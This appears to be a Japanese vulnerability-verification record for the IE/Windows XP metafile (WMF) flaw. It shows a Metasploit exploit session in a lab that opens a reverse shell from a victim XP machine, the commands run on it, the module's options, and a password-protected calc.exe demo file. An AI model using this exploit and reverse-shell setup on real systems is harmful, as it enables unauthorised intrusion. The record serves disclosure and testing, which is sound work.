msf ie_xp_pfv_metafile(win32_reverse) > exploit
[*] Starting Reverse Handler.
[*] Waiting for connections to http://192.168.0.3:11111/
[*] HTTP Client connected from 192.168.0.12:1066, redirecting...
[*] HTTP Client connected from 192.168.0.12:1067, sending 1596 bytes of payload.
..
[*] Got connection from 192.168.0.3:4321 <-> 192.168.0.12:1068
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator\デスクトップ>whoami
whoami
VICTIM-XP\Administrator
C:\Documents and Settings\Administrator\デスクトップ>hostname
hostname
victim-xp
C:\Documents and Settings\Administrator\デスクトップ>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter ローカル エリア接続:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 192.168.0.12
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.0.1
今回のExploitはMetasploitを使用しました。 この検証記録に使用した設定内容は以下の通りです。
msf ie_xp_pfv_metafile(win32_reverse) > show options Exploit and Payload Options =========================== Exploit: Name Default Description -------- -------- ------- ------------------------------------------- optional REALHOST External address to use for redirects (NAT) optional HTTPHOST 0.0.0.0 The local HTTP listener host required HTTPPORT 8080 The local HTTP listener port Payload: Name Default Description -------- -------- ------- ------------------------------------------ required EXITFUNC thread Exit technique: "process", "thread", "seh" required LHOST Local address to receive connection required LPORT 4321 Local port to receive connection Target: Automatic - Windows XP / Windows 2003 / Windows Vista
「calc.exe」を起動するコードを実行するデモ用ファイル
| files | password |
|---|---|
| runcalc.zip | pen-test |